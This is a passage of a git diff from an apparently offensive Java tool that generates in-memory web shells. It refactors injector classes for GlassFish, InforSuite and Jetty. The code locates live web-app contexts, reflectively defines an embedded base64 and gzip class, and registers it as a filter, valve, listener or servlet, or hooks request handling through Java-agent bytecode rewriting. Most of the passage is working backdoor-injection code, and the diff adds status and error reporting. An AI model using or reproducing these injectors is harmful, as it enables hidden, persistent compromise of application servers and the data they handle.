@SuppressWarnings("all") @@ -170,4 +189,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java index ba986f21..cc23793a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java @@ -40,7 +40,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); } } } @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Throwable e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java index 97ba59e1..28022bb2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java @@ -40,7 +40,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); } } } @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Throwable e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index 213a5d17..e9e3d3fd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -13,15 +14,12 @@ import java.util.zip.GZIPInputStream; /** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275 - * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 - * - * @author ReaJason + * @author pen4uin, ReaJason */ public class GlassFishFilterInjector { + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -35,18 +33,42 @@ public String getBase64String() { } public GlassFishFilterInjector() { + List contexts = null; try { - List contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - // skip glassfish /osgi context - if (getFieldValue(context, "serverContext") != null) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { Object shell = getShell(context); inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } /** @@ -79,22 +101,23 @@ private ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object shell) throws Exception { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter already injected"); return; } Object filterDef; @@ -138,7 +161,11 @@ public void inject(Object context, Object shell) throws Exception { Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); filterConfigs.put(getClassName(), filterConfig); - System.out.println("filter inject success"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -208,6 +235,22 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index e3de8fb0..8c168a3d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ */ public class GlassFishValveInjector { - public GlassFishValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -33,6 +24,46 @@ public String getBase64String() { return "{{base64Str}}"; } + + public GlassFishValveInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -49,7 +80,7 @@ public List getContext() throws Exception { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); } catch (Exception e) { @@ -60,40 +91,38 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { + // OSGI 类加载限制,加密相关函数找不到,这儿不得不使用 WebAppClassLoader ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object valve) throws Exception { Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object v : valvesList) { + if (v.getClass().getName().contains(getClassName())) { + return; + } } Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); - System.out.println("valve injected successfully"); } - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { - Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -141,7 +170,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -169,4 +198,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index a65fa0f0..0e040ddb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -14,19 +15,8 @@ * @author ReaJason */ public class InforSuiteFilterInjector { - Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName()); - public InforSuiteFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -40,6 +30,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public InforSuiteFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * com.cvicse.loong.enterprise.web.WebModule * /usr/local/inforsuite/as/modules/web-glue.jar @@ -71,22 +100,23 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { String filterName = getClassName(); if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - log.warning("filter already exists"); return; } ClassLoader contextClassLoader = context.getClass().getClassLoader(); @@ -114,7 +144,11 @@ public void inject(Object context, Object filter) throws Exception { filterConfigs = (HashMap) getFieldValue(context, "iasFilterConfigs"); } filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -198,4 +232,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 29b76502..7f06ae81 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.*; import java.util.ArrayList; import java.util.List; @@ -17,17 +18,7 @@ public class JettyFilterInjector { - public JettyFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -41,13 +32,49 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public JettyFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public void inject(Object context, Object filter) throws Exception { Object servletHandler = getFieldValue(context, "_servletHandler"); - if (servletHandler == null) { - return; - } + if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter is already injected"); return; } @@ -56,6 +83,7 @@ public void inject(Object context, Object filter) throws Exception { "org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterHolder", + "org.eclipse.jetty.ee11.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterHolder", }; @@ -78,7 +106,6 @@ public void inject(Object context, Object filter) throws Exception { invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); moveFilterToFirst(servletHandler); invokeMethod(servletHandler, "invalidateChainsCache"); - System.out.println("filter added successfully"); } private void moveFilterToFirst(Object servletHandler) throws Exception { @@ -102,7 +129,6 @@ private void moveFilterToFirst(Object servletHandler) throws Exception { } } else if (filterMaps instanceof ArrayList) { ArrayList filterList = (ArrayList) filterMaps; - filterLength = filterList.size(); for (Object filter : filterList) { String filterName = (String) getFieldValue(filter, "_filterName"); if (filterName.equals(getClassName())) { @@ -113,11 +139,14 @@ private void moveFilterToFirst(Object servletHandler) throws Exception { } filterList.clear(); filterList.addAll(reorderedFilters); - } else { - throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList"); } } + @Override + public String toString() { + return msg; + } + /** * org.mortbay.jetty.webapp.WebAppContext * org.eclipse.jetty.webapp.WebAppContext @@ -165,16 +194,18 @@ public ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @@ -223,7 +254,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { @@ -257,4 +288,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java index 41dd2014..a479647c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java @@ -21,9 +21,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer { "org/eclipse/jetty/ee8/servlet/ServletHandler", "org/eclipse/jetty/ee9/servlet/ServletHandler", "org/eclipse/jetty/ee10/servlet/ServletHandler$Chain", + "org/eclipse/jetty/ee11/servlet/ServletHandler$Chain", "org/mortbay/jetty/servlet/ServletHandler" ); - private static String targetMethodName = "doHandle"; public static String getClassName() { return "{{advisorName}}"; @@ -48,14 +48,7 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); for (String targetClass : TARGET_CLASSES) { if (targetClass.replace("/", ".").equals(name)) { - if (name.contains("mortbay")) { - targetMethodName = "handle"; - } - if (name.contains("ee10")) { - targetMethodName = "doFilter"; - } inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at " + name + "." + targetMethodName); } } } @@ -66,10 +59,11 @@ private static void launch(Instrumentation inst) throws Exception { public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { if (TARGET_CLASSES.contains(className)) { + String targetMethodName = "doHandle"; if (className.contains("mortbay")) { targetMethodName = "handle"; } - if (className.contains("ee10")) { + if (className.contains("ee10") || className.contains("ee11")) { targetMethodName = "doFilter"; } defineTargetClass(loader); @@ -81,8 +75,9 @@ protected ClassLoader getClassLoader() { return loader; } }; - ClassVisitor cv = getClassVisitor(cw); + ClassVisitor cv = getClassVisitor(cw, targetMethodName); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + targetMethodName); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -92,19 +87,15 @@ protected ClassLoader getClassLoader() { } @SuppressWarnings("all") - public static ClassVisitor getClassVisitor(ClassVisitor cv) { + public static ClassVisitor getClassVisitor(ClassVisitor cv, String targetMethodName) { return new ClassVisitor(Opcodes.ASM9, cv) { @Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (targetMethodName.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 6f50db30..66af3609 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; @@ -14,22 +15,49 @@ import java.util.zip.GZIPInputStream; /** - * tested v7、v8、v9 - * * @author ReaJason */ public class JettyListenerInjector { + private String msg = ""; + public JettyListenerInjector() { + List contexts = null; try { - List contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public String getClassName() { @@ -80,30 +108,21 @@ public ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } - public static void inject(Object context, Object listener) throws Exception { - if (isInjected(context, listener.getClass().getName())) { - System.out.println("listener is already injected"); - return; - } - invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); - System.out.println("listener added successfully"); - } - - @SuppressWarnings("unchecked") - public static boolean isInjected(Object context, String className) throws Exception { - // jetty v8、 v9 + public void inject(Object context, Object listener) throws Exception { Object object = invokeMethod(context, "getEventListeners"); Object[] eventListeners = new Object[0]; if (object instanceof List) { @@ -112,11 +131,16 @@ public static boolean isInjected(Object context, String className) throws Except eventListeners = (Object[]) object; } for (Object eventListener : eventListeners) { - if (eventListener.getClass().getName().contains(className)) { - return true; + if (eventListener.getClass().getName().contains(getClassName())) { + return ; } } - return false; + invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -165,7 +189,7 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { @@ -199,4 +223,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 08533129..70ef0e8c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.*; import java.util.ArrayList; import java.util.List; @@ -15,17 +16,7 @@ */ public class JettyServletInjector { - public JettyServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -39,6 +30,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public JettyServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public Class getServletClass(ClassLoader classLoader) throws ClassNotFoundException { try { return classLoader.loadClass("javax.servlet.Servlet"); @@ -87,32 +117,33 @@ public ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object 